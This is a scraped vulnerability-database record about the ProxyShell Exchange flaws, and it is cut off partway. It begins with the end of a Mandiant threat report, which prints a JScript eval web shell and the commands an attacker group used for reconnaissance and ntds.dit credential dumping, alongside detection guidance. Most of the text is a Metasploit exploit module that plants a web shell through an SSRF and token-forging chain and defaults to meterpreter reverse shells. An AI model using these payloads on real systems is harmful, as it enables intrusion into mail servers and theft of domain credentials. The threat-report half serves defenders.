CVE-2021-31207, publicly referred to as \"ProxyShell\", to upload web shells for initial access. The group relies on multiple publicly available tools including EARTHWORM, HTRAN, MIMIKATZ, and WMIEXEC post compromise.\n\n#### UNC2980 in Action\n\nUpon gaining access through the exploitation of ProxyShell and deploying a web shell, UNC2980 dropped multiple tools into the victim environment. The following publicly available tools were observed on the initial compromised host: HTRAN, EARTHWORM, and several MIMIKATZ variants.\n\n<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script> \n \n--- \n \nFigure 5: Web shell embedded in PST payload used by UNC2980\n\nApproximately 11 hours and 44 minutes after the ProxyShell exploitation, Mandiant observed post-exploitation activity beginning with multiple Event ID 4648 (A logon was attempted using explicit credentials) events initiated by the process C:\\root\\mimikatz.exe on the initial compromised host. All Event ID 4648 events were associated with two different domain controllers within the environment.\n\nThe group then utilized the utility WMIEXEC to conduct post-exploitation activity. This was primarily observed through the default redirection of command output used by WMIEXEC.\n\ncmd.exe /c whoami > C:\\wmi.dll 2>&1\n\ncmd.exe /c quser > C:\\wmi.dll 2>&1\n\ncmd.exe /c net localgroup administrators > C:\\wmi.dll 2>&1 \n \n--- \n \nFigure 6: Reconnaissance commands executed via WMICEXEC\n\nUNC2980 was observed utilizing several techniques for credential theft once access to a host was established. In one instance, after performing reconnaissance, UNC2980 deployed multiple variants of MIMIKATZ. In another instance, UNC2980 utilized multiple batch files which executed ntdsutil to enumerate snapshots of volumes and were then used to copy ntds.dit and the System hive.\n\nntdsutil snapshot \"List All\" quit quit >>c:\\temp\\1.txt\n\nntdsutil snapshot \"unmount {[GUID]}\" quit quit\n\nnet localgroup administrators\n\nntdsutil snapshot \"activate instance ntds\" create quit quit\n\nntdsutil snapshot \"delete {[GUID] }\" quit quit\n\nntdsutil snapshot \"mount {[GUID]}\" quit quit\n\ncopy c:\\$SNAP_[date]_VOLUMEC$\\windows\\ntds\\ntds.dit c:\\temp\\ntds.dit\n\nreg save hklm\\system c:\\temp\\s.hive \n \n--- \n \nFigure 7: Executed Batch commands\n\n#### Monitoring and Investigating\n\nMandiant recommends monitoring or investigating for compromise on presently or previously vulnerable Exchange servers.\n\n##### Remote Creation of Items in Mailboxes\n\n * Monitor or investigate irregular Exchange EWS logs to identify CreateItem requests, indicating the remote creation of items.\n * Mandiant has observed draft emails created, containing attached encoded web shells, though other items may also be created.\n * Examine logs under \u2018Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\Ews\\\\*\u2019 where:\n * AuthenticatedUser is SYSTEM or a system account\n * SoapAction is CreateItem\n * HttpStatus is 200 (indicating success)\n * Monitor or identify draft emails with encoded attachments.\n * Mandiant has observed draft emails containing .TXT file attachments with encoded content.\n\n##### Remote Unauthenticated PowerShell\n\n * Monitor IIS logs for successful POST requests containing \"/autodiscover/autodiscover.json\" & \"Powershell\".\n * Monitor or investigate the execution of the PowerShell cmdlets \u2018New-ManagementRoleAssignment\u2019 or \u2018New-MailboxExportRequest\u2019.\n * Mandiant has observed \u2018New-ManagementRoleAssignment\u2019 being used to assign mailbox import and export permissions to target mailboxes, followed by \u2018New-MailboxExportRequest\u2019 to export the drafts folder containing emails with encoded web shells attached.\n * Examine PowerShell ScriptBlock, transcription, and module logging where enabled.\n * Examine logs under \u2018Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\CmdletInfra\\Powershell-Proxy\\Cmdlet\\\\*\u2019, especially the cmdlet parameters where:\n * AuthenticatedUser is the name of impersonated mailbox user\n * ProcessName contains w3wp\n * Cmdlet is \u2018New-ManagementRoleAssignment\u2019 or \u2018New-MailboxExportRequest\u2019\n * Mandiant has observed the \u2018CmdletInfra\\Powershell-Proxy\\Cmdlet\u2019 logs recording remote cmdlets and their parameters even when regular PowerShell ScriptBlock/transcription/module logging is not enabled.\n * Mandiant recommends review of these logs on presently or previously vulnerable servers even in cases where no web shell is identified, since attackers may execute any PowerShell cmdlet, utilizing only part of the exploit chain.\n * Examine the \u2018Data\u2019 field in the Audit logs stored under \u2018\\Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\LocalQueue\\Exchange\\\\*\u2019. This field contains JSON data with the Operation Key value containing the executed PowerShell cmdlets.\n\n#### Creation or Use of Web Shells\n\n * Monitor or identify .ASPX files created under the path inetpub\\wwwroot\\aspnet_client written by SYSTEM.\n * Monitor or identify PST files (by header \u2018!BDN\u2019 / 0x2142444E) with web file extensions (commonly .ASPX). These files may be written by MSMailboxReplication.exe or w3wp.exe (the latter can be the result of replication events due to the exploitation of a different Exchange server in the same cluster).\n * Monitor or identify files created by MSMailboxReplication.exe with extensions other than .PST (this binary is used by the New-MailboxExportRequest PowerShell cmdlet).\n * Monitor or identify arbitrary commands spawned by the process w3wp.exe.\n * Monitor or investigate the \u2018MSExchange Management\u2019 Event logs (EID: 1 and EID: 6) to identify \u2018New-MailboxExportRequest\u2019 requests with .ASPX extensions, indicative of a web shell creation attempt.\n\nAdditional attempted or successful exploitation may be identified by analyzing network and IIS logs looking for HTTP requests matching some of the patterns described in this report.\n\n * Requests against /autodiscover/autodiscover.json containing \u2018powershell\u2019, \u2018mapi/nspi\u2019, \u2018mapi/emsmdb\u2019, \u2018/EWS\u2019 or \u2018X-Rps-CAT'.\n * Status codes 200, 301, or 302 indicating successful exploitation.\n * Status codes 400, 401, or 404 indicating attempted exploitation.\n\n#### Prevention and Remediation\n\nMandiant advises all organizations to apply patches [KB5003435](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-may-11-2021-kb5003435-028bd051-b2f1-4310-8f35-c41c9ce5a2f1>) (CVE-2021-31207) and [KB5001779](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064>) (CVE-2021-34473 and CVE-2021-34523) to vulnerable on-premises Microsoft Exchange servers to mitigate these vulnerabilities being exploited. To verify the current version of on-premises Microsoft Exchange running within an organization, reference this [Microsoft resource](<https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates>).\n\nIf an organization is not able to immediately apply the patches, inbound TCP/80 and TCP/443 traffic to on-premises Exchange servers should be explicitly blocked from the Internet.\n\nAdditionally, Mandiant recommends organizations review their detection and response capabilities, especially on public-facing infrastructure, including:\n\n * Deploying and configuring a File Integrity Monitoring solution to monitor and/or prevent the creation of files, especially on web servers outside of maintenance windows\n * Deploying, configuring, and monitoring an Endpoint Detection and Response solution to alert to and respond to malicious activity effectively\n * Enabling enhanced logging and implementing sufficient log retention periods to support investigations, including:\n * Microsoft Systems Monitor (Sysmon) on Windows Servers\n * PowerShell Module, Script Block, and Transcription Logging\n\n#### Detecting the Techniques\n\n**Product**\n\n| \n\n**Signature** \n \n---|--- \n \nFireEye Endpoint Security\n\n| \n\n * PST FILEWRITE WITH ASP EXTENSION (METHODOLOGY)\n * W3WP.EXE CHILD PROCESS RECON COMMAND (METHODOLOGY)\n * WMICEXEC (FAMILY) \n \nFireEye Network Security\n\n| \n\n * Exploit.PY.ProxyShell\n * Microsoft Exchange CVE-2021-34473 Remote Code Execution\n * FE_Microsoft Exchange CVE-2021-34473 Remote Code Execution \n \nFireEye Email Security\n\nFireEye Detection On Demand\n\nFireEye Malware File Scanning\n\nFireEye Malware File Storage Scanning\n\n| \n\n * FEC_Exploit_PY_ProxyShell\n * FE_Hunting_PSTWithEmbeddedWebShell\n * FE_Exploit_PY_ProxyShell \n \nFireEye Helix\n\n| \n\n * MICROSOFT EXCHANGE [ProxyShell Exploit Attempt]\n * MICROSOFT EXCHANGE [ProxyShell Exploit Success]\n * MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Mailbox Export]\n * MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Certificate Request Export] \n \n#### Mandiant Security Validation Action\n\nOrganizations can validate their security controls using the following actions with Mandiant Security Validation.\n\n**VID**\n\n| \n\n**Name** \n \n---|--- \n \nA101-827\n\n| \n\nApplication Vulnerability - CVE-2021- 34473, ProxyShell Vulnerability Check \n \nA101-829\n\n| \n\nApplication Vulnerability - ProxyShell, Exploitation \n \nA101-839\n\n| \n\nMalicious File Transfer - ProxyShell WebShell, Download \n \n#### Malware Definitions\n\n##### BLUEBEAM\n\nBLUEBEAM (aka. Godzilla) is a publicly available web shell management tool written in JAVA. BLUEBEAM can generate web shell payloads in JSP, ASP[.]NET, and PHP, it also supports AES encryption.\n\nBLUEBEAM contains 20 built-in modules that provide features such as loading additional web shells into memory, shell execution, mimikatz, meterpreter, file compression, and privilege escalation.\n\n##### HTRAN\n\nHTRAN is a publicly available tunneler written in C/C++ that serves as a proxy between two endpoints specified via command line arguments.\n\n##### EARTHWORM\n\nEARTHWORM is a publicly available tunneler utility. It is capable of establishing a tunnel to a SOCKS v5 server and is supported on the following operating systems: Linux, MacOS, and Arm-Linux.\n\n##### CHINACHOP\n\nThe CHOPPER web shell is a simple code injection web shell that is capable of executing Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with webserver account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.\n\nFor more detailed analysis, see our blog post on the China Chopper web shell.\n\n#### Acknowledgements\n\nAlex Pennino, Andrew Rector, Harris Ansari and Yash Gupta\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-03T10:00:00", "type": "fireeye", "title": "PST, Want a Shell? ProxyShell Exploiting Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-09-03T10:00:00", "id": "FIREEYE:FC60CAB5C936FF70E94A7C9307805695", "href": "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2023-08-07T09:12:52", "description": "This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication, impersonate an arbitrary user, and write an arbitrary file to achieve remote code execution. By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 versions before 15.0.1497.15, Exchange 2016 CU19 versions before 15.1.2176.12, Exchange 2016 CU20 versions before 15.1.2242.5, Exchange 2019 CU8 versions before 15.2.792.13, and Exchange 2019 CU9 versions before 15.2.858.9.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-21T00:00:00", "type": "zdt", "title": "Microsoft Exchange ProxyShell Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-21T00:00:00", "id": "1337DAY-ID-36667", "href": "https://0day.today/exploit/description/36667", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'winrm'\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyShell RCE',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an\n arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,\n Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,\n Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery\n 'Jang (@testanull)', # Vulnerability analysis\n 'PeterJson', # Vulnerability analysis\n 'brandonshi123', # Vulnerability analysis\n 'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template\n 'Spencer McIntyre', # Metasploit module\n 'wvu' # Testing\n ],\n 'References' => [\n [ 'CVE', '2021-34473' ],\n [ 'CVE', '2021-34523' ],\n [ 'CVE', '2021-31207' ],\n [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],\n [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],\n [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]\n ],\n 'DisclosureDate' => '2021-04-06', # pwn2own 2021\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'A known email address for this organization']),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),\n OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])\n ])\n end\n\n def check\n @ssrf_email ||= Faker::Internet.email\n res = send_http('GET', '/mapi/nspi/')\n return CheckCode::Unknown if res.nil?\n return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'\n\n CheckCode::Vulnerable\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def request_autodiscover(_server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n '/autodiscover/autodiscover.xml',\n data: soap_autodiscover,\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n { server: server, legacy_dn: legacy_dn }\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(_server_name, legacy_dn)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n '/mapi/emsmdb',\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response&.code == 200\n sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def run_cve_2021_34473\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status('Retrieving backend FQDN over RPC request')\n server_name = request_fqdn\n print_status(\"Internal server name: #{server_name}\")\n end\n @backend_server_name = server_name\n\n # get information via an autodiscover request.\n print_status('Sending autodiscover request')\n autodiscover = request_autodiscover(server_name)\n\n print_status(\"Server: #{autodiscover[:server]}\")\n print_status(\"LegacyDN: #{autodiscover[:legacy_dn]}\")\n\n # get the user UID using mapi request.\n print_status('Sending mapi request')\n mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])\n print_status(\"SID: #{mailbox_user_sid} (#{datastore['EMAIL']})\")\n\n send_payload(mailbox_user_sid)\n @common_access_token = build_token(mailbox_user_sid)\n end\n\n def send_http(method, uri, opts = {})\n ssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n unless opts[:cookie] == :none\n opts[:cookie] = \"Email=#{ssrf}\"\n end\n\n request = {\n 'method' => method,\n 'uri' => \"/#{ssrf}#{uri}\",\n 'agent' => datastore['UserAgent'],\n 'ctype' => opts[:ctype],\n 'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }\n }\n request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?\n request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?\n request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def send_payload(user_sid)\n @shell_input_name = rand_text_alphanumeric(8..12)\n @draft_subject = rand_text_alphanumeric(8..12)\n payload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\"))\n file_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\"\n envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)\n\n send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n datastore['IISWritePath'].gsub('\\\\', '/')\n else\n datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n end\n\n def build_token(sid)\n uint8_tlv = proc do |type, value|\n type + [value.length].pack('C') + value\n end\n\n token = uint8_tlv.call('V', \"\\x00\")\n token << uint8_tlv.call('T', 'Windows')\n token << \"\\x43\\x00\"\n token << uint8_tlv.call('A', 'Kerberos')\n token << uint8_tlv.call('L', datastore['EMAIL'])\n token << uint8_tlv.call('U', sid)\n\n # group data for S-1-5-32-544\n token << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\"\n Rex::Text.encode_base64(token)\n end\n\n def execute_powershell(cmdlet, args: [])\n winrm = SSRFWinRMConnection.new({\n endpoint: full_uri('PowerShell/'),\n transport: :ssrf,\n ssrf_proc: proc do |method, uri, opts|\n uri = \"#{uri}?X-Rps-CAT=#{@common_access_token}\"\n uri << \"&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n opts[:cookie] = :none\n opts[:data].gsub!(\n %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},\n \"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>\"\n )\n opts[:data].gsub!(\n %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand=\"true\">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},\n \"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>\"\n )\n send_http(method, uri, opts)\n end\n })\n\n winrm.shell(:powershell) do |shell|\n shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)\n shell.extend(SSRFWinRMConnection::PowerShell)\n shell.run({ cmdlet: cmdlet, args: args })\n end\n end\n\n def exploit\n @ssrf_email ||= Faker::Internet.email\n print_status('Attempt to exploit for CVE-2021-34473')\n run_cve_2021_34473\n\n powershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\", cookie: :none)\n fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200\n\n print_status('Assigning the \\'Mailbox Import Export\\' role')\n execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])\n\n @shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\"\n if datastore['UseAlternatePath']\n unc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n else\n unc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n end\n\n normal_path = unc_path.gsub(/^\\\\+127\\.0\\.0\\.1\\\\(.)\\$\\\\/, '\\1:\\\\')\n print_status(\"Writing to: #{normal_path}\")\n register_file_for_cleanup(normal_path)\n\n @export_name = rand_text_alphanumeric(8..12)\n execute_powershell('New-MailboxExportRequest', args: [\n { name: '-Name', value: @export_name },\n { name: '-Mailbox', value: datastore['EMAIL'] },\n { name: '-IncludeFolders', value: '#Drafts#' },\n { name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" },\n { name: '-ExcludeDumpster' },\n { name: '-FilePath', value: unc_path }\n ])\n\n print_status('Waiting for the export request to complete...')\n 30.times do\n if execute_command('whoami')&.code == 200\n print_good('The mailbox export request has completed')\n break\n end\n sleep 5\n end\n\n print_status('Triggering the payload')\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n boundary = rand_text_alphanumeric(8..12)\n response = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\")\n\n print_warning('Dumping command output in response')\n if response.body =~ /START#{boundary}(.*)END#{boundary}/m\n print_line(Regexp.last_match(1).strip)\n else\n print_error('Empty response, no command output')\n end\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\n def cleanup\n super\n return unless @common_access_token && @export_name\n\n print_status('Removing the mailbox export request')\n execute_powershell('Remove-MailboxExportRequest', args: [\n { name: '-Identity', value: \"#{datastore['EMAIL']}\\\\#{@export_name}\" },\n { name: 